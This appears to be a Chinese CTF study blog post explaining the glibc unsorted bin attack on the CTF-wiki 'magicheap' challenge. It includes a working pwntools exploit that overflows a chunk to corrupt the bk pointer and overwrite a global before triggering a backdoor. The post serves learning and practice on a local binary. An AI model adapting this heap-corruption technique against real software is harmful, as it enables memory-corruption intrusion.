从wiki 重新打基础之 Unsorted Bin Attack

之所以 看 Unsorted Bin Attack   因为感觉 Fastbin    还有 UAF算是比较熟悉的  所以 直接看 Unsorted Bin

其实Unsorted Bin 也是比较熟悉的  在泄露 libc库的时候就认真的看过 这个东西

,是当small chunklarge chunkfree掉之后,不会直接进入smallbin或largebin,而是会先进入unsortedbin

然后他是双链表连接的  不同于fastbin的单链表 他还会堆块合并

这里wiki给的例题很简单  简单看一下

维护一个数组  记录我们的 堆地址

发现 edit 直接让我们自己输入大小  所以这里可以 利用一下 而且还有一个后门函数

这里直接 可以直接 利用 unsortbin  然后直接写进入那个magic 的地方   因为 bk 是没有检查的

这里可以gdb 看一下

可以看到直接  搞定了这个东西。。。。

下面就是脚本,

# -*- coding:utf-8 -*-
import os
import base64
from pwn import* 
io=process("./magicheap")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")


def add(size,content):
	io.recvuntil("Your choice :")
	io.sendline("1")
	io.recvuntil("Size of Heap : ")
	io.sendline(str(size))
	io.recvuntil("Content of heap:")
	io.sendline(content)

def edit(index,size,content):
	io.recvuntil("Your choice :")
	io.sendline("2")
	io.recvuntil("Index :")
	io.sendline(str(index))
	io.recvuntil("Size of Heap : ")
	io.sendline(str(size))
	io.recvuntil("Content of heap : ")
	io.sendline(content)

def dele(index):
	io.recvuntil("Your choice :")
	io.sendline("3")
	io.recvuntil("Index :")
	io.sendline(str(index))


if __name__ =="__main__":
	add(0x20,'a')
	add(0x80,'a')
	add(0x20,'a')
	add(0x20,'a')
	magic=0x6020C0
	dele(1)
	payload='a'*0x20+p64(0)+p64(0x91)+p64(0)+p64(magic-0x10)
	edit(0,len(payload),payload)
	#gdb.attach(io)
	add(0x80,'pppp')

	io.sendline("4869")

	print io.recv()
	io.close()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值